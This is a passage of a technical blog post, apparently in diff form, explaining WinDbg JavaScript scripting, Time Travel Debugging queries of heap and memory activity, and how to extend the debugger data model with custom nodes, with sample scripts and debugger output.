+RtlAllocateHeap: HeapHandle: 0x21b5dcd0000, Flags: 0x140000, Size: 0x40
+@$scriptContents.handle_bp()
+doare
+RtlAllocateHeap: HeapHandle: 0x21b5dcd0000, Flags: 0x140000, Size: 0x38
+@$scriptContents.handle_bp()
+doare
+RtlAllocateHeap: HeapHandle: 0x21b5dcd0000, Flags: 0x0, Size: 0x48
+@$scriptContents.handle_bp()
+...
+```
+
+Now, I find this interface not well suited for scenarios where you need to have a breakpoint that just dumps stuff and keep going, but hopefully in the future this will improve. Let's say you have a function and you’re interested in dumping its arguments/state every time it gets called. If you attempt to do this with the above code, every time the breakpoint is hit the debugger will execute your callback *and* stop. At this point you have to tell it to keep executing. (Also, feel free to uncomment the last lines of the script to see what happens if you `ExecuteCommand('gc')` :-)).
+
+One way I found around this limitation is to use evaluation and the `bp` command:
+
+```javascript
+//breakpoint2.js
+"use strict";
+
+let logln = function (e) {
+ host.diagnostics.debugLog(e + '\n');
+}
+
+function handle_bp() {
+ let Regs = host.currentThread.Registers.User;
+ let Args = [Regs.rcx, Regs.rdx, Regs.r8];
+ let ArgsS = Args.map(c => c.toString(16));
+ let HeapHandle = ArgsS[0];
+ let Flags = ArgsS[1];
+ let Size = ArgsS[2];
+ logln('RtlAllocateHeap: HeapHandle: ' + HeapHandle + ', Flags: ' + Flags + ', Size: ' + Size);
+ if(Args[2].compareTo(0x100) > 0) {
+ // stop execution if the allocation size is bigger than 0x100
+ return true;
+ }
+ // keep the execution going if it's a small size
+ return false;
+}
+
+function invokeScript() {
+ let Control = host.namespace.Debugger.Utility.Control;
+ let Regs = host.currentThread.Registers.User;
+ let CurrentProcess = host.currentProcess;
+ let HeapAlloc = host.getModuleSymbolAddress('ntdll', 'RtlAllocateHeap');
+ let BreakpointAlreadySet = CurrentProcess.Debug.Breakpoints.Any(
+ c => c.Address == HeapAlloc
+ );
+ if(BreakpointAlreadySet == false) {
+ logln('RltAllocateHeap @ ' + HeapAlloc.toString(16));
+ Control.ExecuteCommand('bp /w "@$scriptContents.handle_bp()" ' + HeapAlloc.toString(16));
+ } else {
+ logln('Breakpoint already set.');
+ }
+ logln('Press "g" to run the target.');
+}
+```
+Which gives this output:
+
+```text
+0:000>
+RltAllocateHeap @ 0x7fffc07587a0
+Press "g" to run the target.
+0:000> g
+RtlAllocateHeap: HeapHandle: 0x21b5dcd0000, Flags: 0x0, Size: 0x48
+RtlAllocateHeap: HeapHandle: 0x21b5dcd0000, Flags: 0x140000, Size: 0x38
+...
+RtlAllocateHeap: HeapHandle: 0x21b5dcd0000, Flags: 0x140000, Size: 0x34a
+Breakpoint 0 hit
+Time Travel Position: 2A51:314
+ntdll!RtlAllocateHeap:
+00007fff`c07587a0 48895c2408 mov qword ptr [rsp+8],rbx ss:000000b8`7f39e9a0=000000b87f39e9b0
+```
+
+Of course, yet another way of approaching this problem would be to wrap the script invocation into the command of a breakpoint like this:
+
+```text
+bp ntdll!RtlAllocateHeap ".scriptrun c:\foo\script.js"
+```
+
+## TTD
+
+For those who are not familiar with Microsoft’s "Time Travel Debugging" toolset, in a nutshell it allows you to record the execution of a process. Once the recording is done, you end up with a trace file written to disk that you can load into the debugger to replay what you just recorded -- a bit like a camera / VCR. If you want to learn more about it, I would highly recommend checking out this presentation: [Time Travel Debugging: root causing bugs in commercial scale software](https://cppcon2017.sched.com/event/Bgsj/time-travel-debugging-root-causing-bugs-in-commercial-scale-software).
+
+Even though I won’t cover how recording and replaying a *TTD* trace in this article, I just wanted to show you in this part how powerful such features can be once coupled with the data model. As you have probably realized by now, the data model is all about extensibility: you can access specific *TTD* features via the model when you have a trace loaded in the debugger. This section tries to describe them.
+
+### TTD.Calls
+
+The first feature I wanted to talked about is `TTD.Calls`. This API goes through an entire execution trace and finds every unique point in the trace where an API has been called.
+
+```text
+0:000> dx -v @$cursession.TTD
+@$cursession.TTD : [object Object]
+ Calls [Returns call information from the trace for the specified set of symbols: TTD.Calls("module!symbol1", "module!symbol2", ...)]
+```
+
+For each of those points, you have an object describing the call: time travel position (that you can travel to: see `TimeStart` and `TimeEnd` below), parameters (leveraging symbols if you have any to know how many parameters the API expects), return value, the thread id, etc.
+
+Here is what it looks like:
+
+```text
+0:000> dx -r1 @$cursession.TTD.Calls("ntdll!RtlAllocateHeap").Count()
+@$cursession.TTD.Calls("ntdll!RtlAllocateHeap").Count() : 0x267
+
+0:000> dx @$cursession.TTD.Calls("ntdll!RtlAllocateHeap").First()
+@$cursession.TTD.Calls("ntdll!RtlAllocateHeap").First()
+ EventType : Call
+ ThreadId : 0x1004
+ UniqueThreadId : 0x6
+ TimeStart : 12C1:265 [Time Travel]
+ TimeEnd : 12DE:DC [Time Travel]
+ Function : ntdll!RtlAllocateHeap
+ FunctionAddress : 0x7fffc07587a0
+ ReturnAddress : 0x7fffbdcd9cc1
+ ReturnValue : 0x21b5df71980
+ Parameters
+
+0:000> dx -r1 @$cursession.TTD.Calls("ntdll!RtlAllocateHeap").First().Parameters
+@$cursession.TTD.Calls("ntdll!RtlAllocateHeap").First().Parameters
+ [0x0] : 0x21b5df70000
+ [0x1] : 0x8
+ [0x2] : 0x2d8
+ [0x3] : 0x57
+```
+
+Obviously, the collection returned by `TTD.Calls` can be queried via the same [LINQ](https://docs.microsoft.com/en-us/dotnet/csharp/linq/query-expression-basics)-like operators we mentioned earlier which is awesome. As an example, asking the following question has never been easier: "How many times did the allocator fail to allocate memory?":
+
+```text
+0:000> dx @$Calls=@$cursession.TTD.Calls("ntdll!RtlAllocateHeap").Where(c => c.ReturnValue == 0)
+@$Calls=@$cursession.TTD.Calls("ntdll!RtlAllocateHeap").Where(c => c.ReturnValue == 0)
+
+0:000> dx @$Calls.Count()
+@$Calls.Count() : 0x0
+```
+
+Note that because the API has been designed in a way that abstracts away ABI-specific details, you can have your query / code working on both x86 & x64 seamlessly. Another important point is that this is much faster than setting a breakpoint manually and running the trace forward to collect this information yourself.
+
+### TTD.Memory
+
+The other **very** powerful feature that was announced fairly [recently](https://blogs.msdn.microsoft.com/windbg/2017/12/18/windbg-preview-1-1712-15003-release-notes/) in version 1.1712.15003 is `TTD.Memory`. A bit like `TTD.Calls`, this feature lets you go and find every memory accesses that happened in an execution trace on a specific memory range. And again, it returns to the user a nice object that has all the information you could be potentially interested in (time travel positions, access type, the instruction pointer address, the address of the memory accessed, etc.):
+
+```text
+0:000> dx @$Accesses[0]
+@$Accesses[0]
+ EventType : MemoryAccess
+ ThreadId : 0x15e8
+ UniqueThreadId : 0x3
+ TimeStart : F44:2 [Time Travel]
+ TimeEnd : F44:2 [Time Travel]
+ AccessType : Write
+ IP : 0x7fffc07649bf
+ Address : 0xb87f67fa70
+ Size : 0x4
+ Value : 0x0
+```
+
+Here is how you would go and ask it to find out every piece of code that write-accessed (read and execute are also other valid type of access you can query for and combine) the TEB region of the current thread:
+
+```text
+0:001> ? @$teb
+Evaluate expression: 792409825280 = 000000b8`7f4e6000
+
+0:001> ?? sizeof(_TEB)
+unsigned int64 0x1838
+
+0:001> dx @$Accesses=@$cursession.TTD.Memory(0x000000b8`7f4e6000, 0x000000b8`7f4e6000+0x1838, "w")
+@$Accesses=@$cursession.TTD.Memory(0x000000b8`7f4e6000, 0x000000b8`7f4e6000+0x1838, "w")
+
+0:001> dx @$Accesses[0]
+@$Accesses[0]
+ EventType : MemoryAccess
+ ThreadId : 0x15e8
+ UniqueThreadId : 0x3
+ TimeStart : F79:1B [Time Travel]
+ TimeEnd : F79:1B [Time Travel]
+ AccessType : Write
+ IP : 0x7fffc0761bd0
+ Address : 0xb87f4e7710
+ Size : 0x10
+ Value : 0x0
+```
+
+The other beauty of it is that you can travel to the position ID and find out what happened:
+
+```text
+0:001> !tt F79:1B
+Setting position: F79:1B
+(1cfc.15e8): Break instruction exception - code 80000003 (first/second chance not available)
+Time Travel Position: F79:1B
+ntdll!TppWorkCallbackPrologRelease+0x100:
+00007fff`c0761bd0 f30f7f8010170000 movdqu xmmword ptr [rax+1710h],xmm0 ds:000000b8`7f4e7710=00000000000000000000000000000000
+
+0:001> dt _TEB ActivityId
+ntdll!_TEB
+ +0x1710 ActivityId : _GUID
+```
+
+In the above example, you can see that the `TppWorkCallbackPrologRelease` function is zeroing the `ActivityId` GUID of the current TEB - magical.
+
+### TTD.Utility.GetHeapAddress
+
+The two previous features were mostly building blocks; this utility consumes the `TTD.Calls` API in order to show the lifetime of a heap chunk in a trace session. What does that mean exactly? Well, the utility looks for every heap related operation that happened on a chunk (start address, size) and show them to you.
+
+This is extremely useful when debugging or root-causing issues, and here is what it looks like on a dummy trace:
+
+```text
+0:000> dx -g @$cursession.TTD.Utility.GetHeapAddress(0x21b5dce40a0)
+========================================================================================================================================
+= = Action = Heap = Address = Size = Flags = (+) TimeStart = (+) TimeEnd = Result =
+========================================================================================================================================
+= [0x59] : [object Object] - Alloc - 0x21b5dcd0000 - 0x21b5dce4030 - 0xaa - 0x8 - ED:7D7 - EF:7D - =
+= [0x6b] : [object Object] - Alloc - 0x21b5dcd0000 - 0x21b5dce40a0 - 0xaa - 0x8 - 105:D9 - 107:7D - =
+= [0x6c] : [object Object] - Free - 0x21b5dcd0000 - 0x21b5dce40a0 - - 0x0 - 107:8D - 109:1D - 0x1 =
+= [0x276] : [object Object] - Alloc - 0x21b5dcd0000 - 0x21b5dce4030 - 0x98 - 0x0 - E59:3A7 - E5A:8E - =
+========================================================================================================================================
+```
+
+The attentive reader has probably noticed something maybe unexpected with entries 0x59 and entries 0x276 where we are seeing two different allocations of the same chunk without any free in between. The answer to this question lies in the way the `GetHeapAddress` function is implemented (check out the *TTD\Analyzers\HeapAnalysis.js* file) - it basically looks for every heap related operation and only shows you the ones where `address + size` is a range containing the argument you passed. In this example we gave the function the address `0x21b5dce40a0`, 0x59 is an allocation and `0x21b5dce40a0` is in the range `0x21b5dce4030 + 0xAA` so we display it. Now, a free does not know the size of the chunk, the only thing it knows is the base pointer. In this case if we have a free of `0x21b5dce4030` the utility function would just not display it to us which explains how we can have two heap chunks allocated without a free in the following time frame: `ED:7D7, E59:3A7`.
+
+We can even go ahead and prove this by finding the free by running the below command:
+
+```text
+0:000> dx -g @$cursession.TTD.Utility.GetHeapAddress(0x21b5dce4030).Where(p => p.Address == 0x21b5dce4030)
+========================================================================================================================================
+= = Action = Heap = Address = Size = Flags = (+) TimeStart = (+) TimeEnd = Result =
+========================================================================================================================================
+= [0x61] : [object Object] - Alloc - 0x21b5dcd0000 - 0x21b5dce4030 - 0xaa - 0x8 - ED:7D7 - EF:7D - =
+= [0x64] : [object Object] - Free - 0x21b5dcd0000 - 0x21b5dce4030 - - 0x0 - EF:247 - F1:1D - 0x1 =
+= [0x276] : [object Object] - Alloc - 0x21b5dcd0000 - 0x21b5dce4030 - 0x98 - 0x0 - E59:3A7 - E5A:8E - =
+========================================================================================================================================
+```
+
+As expected, the entry 0x64 is our free operation and it also happens in between the two allocation operations we were seeing earlier - solved.
+
+Pretty neat uh?
+
+It is nice enough to ask the utility for a specific heap address, but it would also be super nice if we had access to the whole heap activity that has happened during the session and that is what `TTD.Data.Heap` gives you:
+
+```text
+0:000> dx @$HeapOps=@$cursession.TTD.Data.Heap()
+...
+
+0:000> dx @$HeapOps.Count()
+@$HeapOps.Count() : 0x414
+
+0:000> dx @$HeapOps[137]
+@$HeapOps[137] : [object Object]
+ Action : Free
+ Heap : 0x21b5dcd0000
+ Address : 0x21b5dcee790
+ Flags : 0x0
+ Result : 0x1
+ TimeStart : 13A1:184 [Time Travel]
+ TimeEnd : 13A2:27 [Time Travel]
+```
+
+And of course do not forget that all these collections are queryable. We can easily find out what are all the other heap operations that are not `alloc` or `free` with the below query:
+
+```text
+0:000> dx @$NoFreeAlloc=@$HeapOps.Where(c => c.Action != "Free" && c.Action != "Alloc")
+...
+
+0:000> dx -g @$NoFreeAlloc
+============================================================================================================
+= = Action = Heap = Result = (+) TimeStart = (+) TimeEnd =
+============================================================================================================
+= [0x382] : [object Object] - Lock - 0x21b5dcd0000 - 0xb87f4e3001 - 1ADE:602 - 1ADF:14 =
+= [0x386] : [object Object] - Unlock - 0x21b5dcd0000 - 0xb87f4e3001 - 1AE0:64 - 1AE1:13 =
+= [0x38d] : [object Object] - Lock - 0x21b5dcd0000 - 0xb87f4e3001 - 1B38:661 - 1B39:14 =
+= [0x391] : [object Object] - Unlock - 0x21b5dcd0000 - 0xb87f4e3001 - 1B3A:64 - 1B3B:13 =
+= [0x397] : [object Object] - Lock - 0x21b5dcd0000 - 0xb87f4e3001 - 1BF0:5F4 - 1BF1:14 =
+= [0x399] : [object Object] - Unlock - 0x21b5dcd0000 - 0xb87f4e3001 - 1BF1:335 - 1C1E:13 =
+...
+```
+
+## Extend the data model
+
+After consuming all the various features available in the data model, I am sure you guys are wondering how you can go and add your own node and extend it. In order to do this, you can use the API `host.namedModelParent`.
+
+```text
+class host.namedModelParent
+
+An object representing a modification of the object model of the debugger.
+This links together a JavaScript class (or prototype) with a data model.
+The JavaScript class (or prototype) becomes a parent data model (e.g.: similar to a prototype)
+to the data model registered under the supplied name.
+
+An instance of this object can be returned in the array of records returned from
+the initializeScript method.
+```
+
+Let's say we would like to add a node that is associated with a `Process` called `DiaryOfAReverseEngineer` which has the following properties:
+
+* DiaryOfAReverseEngineer
+ - Foo - string
+ - Bar - string
+ - Add - function
+ - Sub
+ * SubBar - string
+ * SubFoo - string
+
+### Step 1: Attach a node to the `Process` model
+
+Using `host.namedModelParent` you get the opportunity to link a Javascript class to the model of your choice. The other thing to understand is that this feature is made to be used by *extension* (as opposed to imperative) scripts.
+
+Extension and imperative scripts are basically the same but they have different entry points: extensions use `initializeScript` (the command `.scriptload` invokes this entry point) and imperative scripts use `invokeScript` (the command `.scriptrun` invokes both the `initializeScript` and `invokeScript`). The small difference is that in an extension script you are expected to return an array of *registration* objects if you want to modify the data model, which is exactly what we want to do.
+
+Anyway, let's attach a node called `DiaryOfAReverseEngineer` to the `Process` model:
+
+```javascript
+//extendmodel_1.js
+"use strict";
+
+class ProcessModelParent {
+ get DiaryOfAReverseEngineer() {
+ return 'hello from ' + this.Name;
+ }
+}
+
+function initializeScript() {
+ return [new host.namedModelParent(
+ ProcessModelParent,
+ 'Debugger.Models.Process'
+ )];
+}
+```
+
+Once loaded you can go ahead and check that the node has been added:
+
+```text
+0:000> dx @$curprocess
+@$curprocess : PING.EXE [Switch To]
+ Name : PING.EXE
+ Id : 0x1cfc
+ Threads
+ Modules
+ Environment
+ TTD
+ DiaryOfAReverseEngineer : hello from PING.EXE
+```
+
+One important thing to be aware of in the previous example is that the `this` pointer is effectively an instance of the data model you attached to. In our case it is an instance of the `Process` model and as a result you can access every property available on this node, like its `Name` for example.
+
+### Step 2: Add the first level to the node
+
+What we want to do now is to have our top node exposing two string properties and one function (we’ll deal with `Sub` later). This is done by creating a new Javascript class that represents this level, and we can return an instance of this said class in the `DiaryOfReverseEngineer` property. Simple enough uh?
+
+```javascript
+//extendmodel_2.js
+"use strict";
+
+class DiaryOfAReverseEngineer {
+ constructor(Process) {
+ this.process = Process;
+ }
+
+ get Foo() {
+ return 'Foo from ' + this.process.Name;
+ }
+
+ get Bar() {
+ return 'Bar from ' + this.process.Name;
+ }
+
+ Add(a, b) {
+ return a + b;
+ }
+}
+
+class ProcessModelParent {
+ get DiaryOfAReverseEngineer() {
+ return new DiaryOfAReverseEngineer(this);
+ }
+}
+
+function initializeScript() {
+ return [new host.namedModelParent(
+ ProcessModelParent,
+ 'Debugger.Models.Process'
+ )];
+}
+```
+
+Which gives:
+
+```text
+0:000> dx @$curprocess
+@$curprocess : PING.EXE [Switch To]
+ Name : PING.EXE
+ Id : 0x1cfc
+ Threads
+ Modules
+ Environment
+ TTD
+ DiaryOfAReverseEngineer : [object Object]
+
+0:000> dx @$curprocess.DiaryOfAReverseEngineer
+@$curprocess.DiaryOfAReverseEngineer : [object Object]
+ process : PING.EXE [Switch To]
+ Foo : Foo from PING.EXE
+ Bar : Bar from PING.EXE
+```
+
+From the previous dumps there are at least two things we can do better:
+
+1) The `DiaryOfAReverseEngineer` node has a string representation of `[object Object]` which is not great. In order to fix that we can just define our own `toString` method and return what we want.
+
+2) When displaying the `DiaryOfAReverseEngineer` node, it displays the instance properties `process` where we keep a copy of the `Process` model we attached to. Now, this might be something you want to hide to the user as it has nothing to do with whatever this node is supposed to be about. To solve that, we just have to prefix the field with `__`.
+
+(If you are wondering why we do not see the method `Add` you can force `dx` to display it with the `-v` flag.)
+
+After fixing the two above points, here is what we have:
+
+```javascript
+// extendmodel_2_1.js
+"use strict";
+
+class DiaryOfAReverseEngineer {
+ constructor(Process) {
+ this.__process = process;
+ }
+
+ get Foo() {
+ return 'Foo from ' + this.__process.Name;
+ }
+
+ get Bar() {
+ return 'Bar from ' + this.__process.Name;
+ }
+
+ Add(a, b) {
+ return a + b;
+ }
+
+ toString() {
+ return 'Diary of a reverse-engineer';
+ }
+}
+
+class ProcessModelParent {
+ get DiaryOfAReverseEngineer() {
+ return new DiaryOfAReverseEngineer(this);
+ }
+}
+
+function initializeScript() {
+ return [new host.namedModelParent(
+ ProcessModelParent,
+ 'Debugger.Models.Process'
+ )];
+}
+```
+
+And now if we display the `Process` model:
+
+```text
+0:000> dx @$curprocess
+@$curprocess : PING.EXE [Switch To]
+ Name : PING.EXE
+ Id : 0x1cfc
+ Threads
+ Modules
+ Environment
+ TTD
+ DiaryOfAReverseEngineer : Diary of a reverse-engineer
+
+0:000> dx @$curprocess.DiaryOfAReverseEngineer
+@$curprocess.DiaryOfAReverseEngineer : Diary of a reverse-engineer
+ Foo : Foo from PING.EXE
+ Bar : Bar from PING.EXE
+
+0:000> dx @$curprocess.DiaryOfAReverseEngineer.Add(1, 2)
+@$curprocess.DiaryOfAReverseEngineer.Add(1, 2) : 0x3
+```
+
+### Step 3: Adding another level and an iterable class
+
+At this stage, I am pretty sure that you guys are starting to get the hang of it. In order to add a new level, you can just define yet another class, define a property in the `DiaryOfAReverseEngineer` class and return an instance of it. And that's basically it.
+
+The last concept I wanted to touch on before moving on is how to add the `iterable` property on one of your data model classes. Let's say you have a class called `Attribute` that stores a key and a value, and let's also say you have another class called `Attributes` that is an `Attribute` store. The thing is, you might have noticed that one class instance usually corresponds to a node with its own properties in the data model view. This is not great for our `Attributes` class as it is basically an array of `Attribute` objects, meaning that we will have two copies of everything..
+
+If you want to have the debugger be able to iterate on your instance you can define a `*[Symbol.iterator]() ` method like this:
+
+```javascript
+// Attributes iterable
+class Attribute {
+ constructor(Process, Name, Value) {
+ this.__process = Process;
+ this.Name = Name;
+ this.Value = Value;
+ }
+
+ toString() {
+ let S = 'Process: ' + this.__process.Name + ', ';
+ S += 'Name: ' + this.Name + ', ';
+ S += 'Value: ' + this.Value;
+ return S;
+ }
+}
+
+class Attributes {
+ constructor() {
+ this.__attrs = [];
+ }
+
+ push(Attr) {
+ this.__attrs.push(Attr);
+ }
+
+ *[Symbol.iterator]() {
+ for (let Attr of this.__attrs) {
+ yield Attr;
+ }
+ }
+
+ toString() {
+ return 'Attributes';
+ }
+}
+```
+
+Now if we put it all together we have:
+
+```javascript
+// extendmodel.js
+"use strict";
+
+class Attribute {
+ constructor(Process, Name, Value) {
+ this.__process = Process;
+ this.Name = Name;
+ this.Value = Value;
+ }
+
+ toString() {
+ let S = 'Process: ' + this.__process.Name + ', ';
+ S += 'Name: ' + this.Name + ', ';
+ S += 'Value: ' + this.Value;
+ return S;
+ }
+}
+
+class Attributes {
+ constructor() {
+ this.__attrs = [];
+ }
+
+ push(Attr) {
+ this.__attrs.push(Attr);
+ }
+
+ *[Symbol.iterator]() {
+ for (let Attr of this.__attrs) {
+ yield Attr;
+ }
+ }
+
+ toString() {
+ return 'Attributes';
+ }
+}
+
+class Sub {
+ constructor(Process) {
+ this.__process = Process;
+ }
+
+ get SubFoo() {
+ return 'SubFoo from ' + this.__process.Name;
+ }
+
+ get SubBar() {
+ return 'SubBar from ' + this.__process.Name;
+ }
+
+ get Attributes() {
+ let Attrs = new Attributes();
+ Attrs.push(new Attribute(this.__process, 'attr0', 'value0'));
+ Attrs.push(new Attribute(this.__process, 'attr1', 'value0'));
+ return Attrs;
+ }
+
+ toString() {
+ return 'Sub module';
+ }
+}
+
+class DiaryOfAReverseEngineer {
+ constructor(Process) {
+ this.__process = Process;
+ }
+
+ get Foo() {
+ return 'Foo from ' + this.__process.Name;
+ }
+
+ get Bar() {
+ return 'Bar from ' + this.__process.Name;
+ }
+
+ Add(a, b) {
+ return a + b;
+ }
+
+ get Sub() {
+ return new Sub(this.__process);
+ }
+
+ toString() {
+ return 'Diary of a reverse-engineer';
+ }
+}
+
+class ProcessModelParent {
+ get DiaryOfAReverseEngineer() {
+ return new DiaryOfAReverseEngineer(this);
+ }
+}
+
+function initializeScript() {
+ return [new host.namedModelParent(
+ ProcessModelParent,
+ 'Debugger.Models.Process'
+ )];
+}
+```
+
+And we can play with the node in the model:
+
+```text
+0:000> dx @$curprocess
+@$curprocess : PING.EXE [Switch To]
+ Name : PING.EXE
+ Id : 0x1cfc
+ Threads
+ Modules
+ Environment
+ TTD
+ DiaryOfAReverseEngineer : Diary of a reverse-engineer
+
+0:000> dx @$curprocess.DiaryOfAReverseEngineer
+@$curprocess.DiaryOfAReverseEngineer : Diary of a reverse-engineer
+ Foo : Foo from PING.EXE
+ Bar : Bar from PING.EXE
+ Sub : Sub module
+
+0:000> dx @$curprocess.DiaryOfAReverseEngineer.Sub
+@$curprocess.DiaryOfAReverseEngineer.Sub : Sub module
+ SubFoo : SubFoo from PING.EXE
+ SubBar : SubBar from PING.EXE
+ Attributes : Attributes
+
+0:000> dx @$curprocess.DiaryOfAReverseEngineer.Sub.Attributes
+@$curprocess.DiaryOfAReverseEngineer.Sub.Attributes : Attributes
+ [0x0] : Process: PING.EXE, Name: attr0, Value: value0
+ [0x1] : Process: PING.EXE, Name: attr1, Value: value0
+
+0:000> dx @$curprocess.DiaryOfAReverseEngineer.Sub.Attributes[0]
+@$curprocess.DiaryOfAReverseEngineer.Sub.Attributes[0] : Process: PING.EXE, Name: attr0, Value: value0
+ Name : attr0
+ Value : value0
+```
+
+Another simpler example is available in [Determining process architecture with JavaScript and LINQ](https://blogs.msdn.microsoft.com/windbg/2017/04/13/determining-process-architecture-with-javascript-and-linq/) where the author adds a node to the `Process` node that tells you with which bitness the process is running on, either 64 or 32 bits.
+
+If you want to extend the data model with best practices you should also have a look at [Debugger Data Model Design Considerations](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/native-objects-in-javascript-extensions#design-considerations) which sort of lays down various guidelines.
+
+## Misc
+
+In this section I will try to answer a bunch of other questions and share various tricks that have been useful for me - you might learn a thing or two!
+
+### Try and play with `host.*` API from the command window
+
+One of the things I quickly was bothered with at first is not being able to run my Javascript from the command window. Let's say that you want to play with a `host.*` API: these are not really directly accessible.
+
+A way to work around that is to load a script and to use the `@$scriptContents` variable from where you can access the `host` object.
+
+```text
+0:000> dx -v @$scriptContents.host
+@$scriptContents.host : [object Object]
+ currentApiVersionSupported : [object Object]
+ currentApiVersionInitialized : [object Object]
+ diagnostics : [object Object]
+ metadata : [object Object]
+ typeSignatureRegistration
+ typeSignatureExtension
+ namedModelRegistration
+ namedModelParent
+ functionAlias
+ namespacePropertyParent
+ optionalRecord
+ apiVersionSupport
+ Int64
+ parseInt64
+ namespace
+ evaluateExpression
+ evaluateExpressionInContext
+ getModuleSymbol
+ getModuleSymbolAddress
+ setModuleSymbol
+ getModuleType
+ createPointerObject
+ createTypedObject
+ indexedValue
+ getNamedModel
+ registerNamedModel
+ unregisterNamedModel
+ registerPrototypeForTypeSignature
+ registerExtensionForTypeSignature
+ unregisterPrototypeForTypeSignature
+ unregisterExtensionForTypeSignature
+ currentSession : Time Travel Debugging Mode
+ currentProcess : PING.EXE [Switch To]
+ currentThread [Switch To]
+ memory : [object Object]
+ typeSystem : [object Object]
+ ToDisplayString [ToDisplayString([FormatSpecifier]) - Method which converts the object to its display string representation according to an optional format specifier]
+```
+
+Note that this is also super useful if you want to wander around and get a feel for the various features / APIs that have not been documented yet (or you were just not aware of).
+
+### How to load an extension script
+
+The `.scriptload` command is available in both *Windbg Preview* and the *Windbg* from the SDK.
+
+### How to run an imperative script
+
+Similar to above, you can use the `.scriptrun` command for that.
+
+### Is the Javascript engine only available in Windbg Preview?
+
+Nope it is not! You can load your Javascript scripts from the latest SDK's Windbg. You can use the `.scriptproviders` command to know what the various script providers currently loaded are, and if you do not see the Javascript provider you can just run `.load jsprovider.dll` to load it.
+
+```text
+0:003> .scriptproviders
+Available Script Providers:
+ NatVis (extension '.NatVis')
+
+0:003> .load jsprovider.dll
+
+0:003> .scriptproviders
+Available Script Providers:
+ NatVis (extension '.NatVis')
+ JavaScript (extension '.js')
+```
+
+### How to debug a script?
+
+One thing I have not experimented with yet is the `.scriptdebug` command that lets you debug a script. This is a very important feature as without it it can be a bit of a pain to figure out what is going wrong and where. If you want to know more about this, please refer to [Script Debugging Walkthrough](https://blogs.msdn.microsoft.com/windbg/2017/06/30/script-debugging-walkthrough/) from [Andy Luhrs](https://twitter.com/aluhrs13).
+
+### How to do Nat-Vis style *visualizer* in Javascript?
+
+I did not cover how to write custom visualizer in Javascript but you should look at `host.typeSignatureRegistration` to register a class that is responsible for visualizing a type (every property of the class will be used as the main visualizers for the type).
+
+### Get a value out of a typed object
+
+Sometimes you are accessing a Javascript object that behaves like a structure instance -- you can access its various fields seamlessly (e.g. you want to access the TEB through the `EnvironmentBlock` object). This is great. However, for various reasons you might need to get the raw value of a field (e.g. for doing arithmetic) and for that you can use the `address` property:
+
+```javascript
+// address property
+"use strict";
+
+let logln = function (e) {
+ host.diagnostics.debugLog(e + '\n');
+}
+
+function invokeScript() {
+ let CurrentThread = host.currentThread;
+ let TEB = CurrentThread.Environment.EnvironmentBlock;
+ logln(TEB.FlsData);
+ logln(TEB.FlsData.address);
+}
+```
+
+Which gives:
+
+```text
+0:000>
+[object Object]
+2316561115408
+
+0:000> dx @$curthread.Environment.EnvironmentBlock.FlsData
+@$curthread.Environment.EnvironmentBlock.FlsData : 0x21b5dcd6910 [Type: void *]
+```
+
+### Evaluate expressions
+
+Another interesting function I wanted to mention is `host.evaluateExpression`. As the name suggests, it allows you to evaluate an expression; it is similar to when you use the `dx` operator but you can only use the language syntax (this means no ‘!’). Any expression you can evaluate through `dx`, you can evaluate through `host.evaluateExpression`. The neat thing about this, is that the resulting expression keeps the type information and as a result the Javascript object behaves like the type of the expression.
+
+Here is a small example showing what I am trying to explain:
+
+```javascript
+// host.evaluateExpression
+"use strict";
+
+let logln = function (e) {
+ host.diagnostics.debugLog(e + '\n');
+}
+
+function invokeScript() {
+ logln(host.evaluateExpression('(unsigned __int64)0'));
+ logln(host.evaluateExpression('(unsigned __int64*)0'));
+ logln(host.evaluateExpression('(_TEB*)0xb87f4e4000').FlsData);
+ logln(host.evaluateExpression('(_TEB*)0xb87f4e4000').FlsData.address);
+ try{
+ logln(host.evaluateExpression('(unsigned __int64*)0').dereference());
+ } catch(e) {
+ logln(e);
+ }
+ // not valid: @$ is not part of the language - logln(host.evaluateExpression('@$teb'));
+ // not valid: @rsp is not part of the language - logln(host.evaluateExpression('(unsigned __int64)@rsp'));
+ // not valid: '!' is not part of the language - logln(host.evaluateExpression('((ntdll!_TEB*)0)'))
+}
+```
+
+Resulting in:
+
+```text
+0:000>
+0
+[object Object]
+[object Object]
+2316561115408
+Error: Unable to read memory at Address 0x0
+```
+
+### How to access global from modules
+If you need to get access to a global in a specific module, you can use the function `host.getModuleSymbol` which returns one of those magic Javascript object behaving like a structure. You can check out an example in the following article: [Implementation logic for the COM global interface table](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/native-objects-in-javascript-extensions).
+
+# x64 exception handling vs Javascript
+
+Phew, you made it to the last part! This one is more about trying to do something useful with all the small little things we have learned throughout this article.
+
+I am sure you guys all already know all of this but Windows revisited how exception handling and frame unwinding work on its 64 bit operating systems. Once upon a time the exception handlers could be found directly onto the stack and they formed some sort of linked list. Today, the compiler encodes every static exception handler at compile / link time into various tables embedded into the final binary image.
+
+Anyway, you might know about Windbg's [!exchains](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-exchain) command that displays the current exception handler chain. This is what the output looks like:
+
+```text
+(9a0.14d4): Access violation - code c0000005 (first chance)
+First chance exceptions are reported before any exception handling.
+This exception may be expected and handled.
+except!Fault+0x3d:
+00007ff7`a900179d 48c70001000000 mov qword ptr [rax],1 ds:00000000`00000001=????????????????
+
+0:000> !exchain
+8 stack frames, scanning for handlers...
+Frame 0x01: except!main+0x59 (00007ff7`a9001949)
+ ehandler except!ILT+900(__GSHandlerCheck_SEH) (00007ff7`a9001389)
+Frame 0x03: except!__scrt_common_main_seh+0x127 (00007ff7`a9002327)
+ ehandler except!ILT+840(__C_specific_handler) (00007ff7`a900134d)
+Frame 0x07: ntdll!RtlUserThreadStart+0x21 (00007ff8`3802efb1)
+ ehandler ntdll!_C_specific_handler (00007ff8`38050ef0)
+```
+
+And here is the associated C code:
+
+```c
+// except.c
+__declspec(noinline) void Fault(uintptr_t *x) {
+ printf("I'm about to fault!");
+ *(uintptr_t*)x= 1;
+}
+
+int main(int argc, char **argv)
+{
+ __try {
+ printf("Yo!\n");
+ Fault((uintptr_t*)argc);
+ }
+ __except (Filter()) {
+ printf("Exception!");
+ }
+ return EXIT_SUCCESS;
+}
+```
+
+As you can see, it is not obvious from the dump above to identify the `Filter` function and the `__except` code block.
+
+I figured it would be a good exercise to parse those tables (at least partially) from Javascript, expose the information inside the data model, and write a command similar to `!exchain` - so let's do it.
+
+## A few words about ImageRuntimeFunctionEntries, UnwindInfos, SehScopeTables and CSpecificHandlerDatas
+
